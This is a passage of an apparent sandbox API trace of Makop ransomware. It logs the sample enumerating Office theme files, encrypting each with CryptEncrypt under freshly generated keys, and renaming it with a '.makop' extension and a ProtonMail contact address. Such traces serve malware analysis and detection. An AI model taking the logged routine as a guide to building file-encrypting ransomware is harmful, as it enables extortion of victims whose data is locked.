Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.792] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.792] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.792] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xb, lpOverlapped=0x0) returned 1 [0157.796] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.796] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.796] GetProcessHeap () returned 0x48a0000 [0157.797] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.797] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0157.797] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.797] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0157.797] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.797] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.797] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.798] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.798] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.798] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.798] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.798] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.798] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x15d75, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x15d75, lpOverlapped=0x0) returned 1 [0157.802] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x15d80, dwBufLen=0x15d80 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x15d80) returned 1 [0157.803] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.803] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x15d80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x15d80, lpOverlapped=0x0) returned 1 [0157.804] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.804] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x15e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.804] SetEndOfFile (hFile=0x124) returned 1 [0157.813] GetProcessHeap () returned 0x48a0000 [0157.813] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.813] GetProcessHeap () returned 0x48a0000 [0157.813] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.813] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 111 [0157.813] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.815] CloseHandle (hObject=0x124) returned 1 [0157.815] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Colors", cAlternateFileName="THEMEC~1")) returned 1 [0157.816] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned 65 [0157.816] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*") returned 69 [0157.816] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0157.821] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.823] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1 [0157.823] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml") returned 79 [0157.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0157.825] GetProcessHeap () returned 0x48a0000 [0157.825] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.825] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.825] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0157.825] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0157.825] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.825] GetProcessHeap () returned 0x48a0000 [0157.825] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.825] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0157.825] CryptDestroyKey (hKey=0x48c7128) returned 1 [0157.826] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0157.830] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0157.830] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0157.830] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0157.830] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0157.830] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0157.830] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0157.831] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.831] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.831] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3a0, lpOverlapped=0x0) returned 1 [0157.831] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a0) returned 1 [0157.831] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.831] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3a0, lpOverlapped=0x0) returned 1 [0157.831] CryptDestroyKey (hKey=0x48c7128) returned 1 [0157.831] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.831] SetEndOfFile (hFile=0xf0) returned 1 [0157.840] GetProcessHeap () returned 0x48a0000 [0157.840] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.840] GetProcessHeap () returned 0x48a0000 [0157.840] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.840] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0157.840] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.843] CloseHandle (hObject=0xf0) returned 1 [0157.844] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0157.844] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml") returned 76 [0157.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0157.845] GetProcessHeap () returned 0x48a0000 [0157.845] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.845] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.845] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0157.845] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0157.851] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0157.851] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.852] GetProcessHeap () returned 0x48a0000 [0157.852] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0157.852] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0157.852] CryptDestroyKey (hKey=0x48c7128) returned 1 [0157.852] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0157.852] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0157.852] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0157.852] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0157.853] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0157.853] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0157.853] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0157.853] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.853] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.854] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x39d, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x39d, lpOverlapped=0x0) returned 1 [0157.854] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a0) returned 1 [0157.854] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.854] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3a0, lpOverlapped=0x0) returned 1 [0157.854] CryptDestroyKey (hKey=0x48c7128) returned 1 [0157.854] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.854] SetEndOfFile (hFile=0xf0) returned 1 [0157.861] GetProcessHeap () returned 0x48a0000 [0157.861] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0157.861] GetProcessHeap () returned 0x48a0000 [0157.861] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.861] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0157.861] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.863] CloseHandle (hObject=0xf0) returned 1 [0157.863] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0157.865] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml") returned 74 [0157.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0157.867] GetProcessHeap () returned 0x48a0000 [0157.868] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.868] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.868] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0157.868] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0157.873] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0157.873] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.873] GetProcessHeap () returned 0x48a0000 [0157.873] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0157.873] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0157.873] CryptDestroyKey (hKey=0x48c7128) returned 1 [0157.873] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0157.873] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0157.874] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0157.874] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0157.874] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0157.874] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0157.874] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0157.874] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.875] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.875] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3bf, lpOverlapped=0x0) returned 1 [0157.875] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0) returned 1 [0157.875] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.875] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3c0, lpOverlapped=0x0) returned 1 [0157.875] CryptDestroyKey (hKey=0x48c7128) returned 1 [0157.875] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) 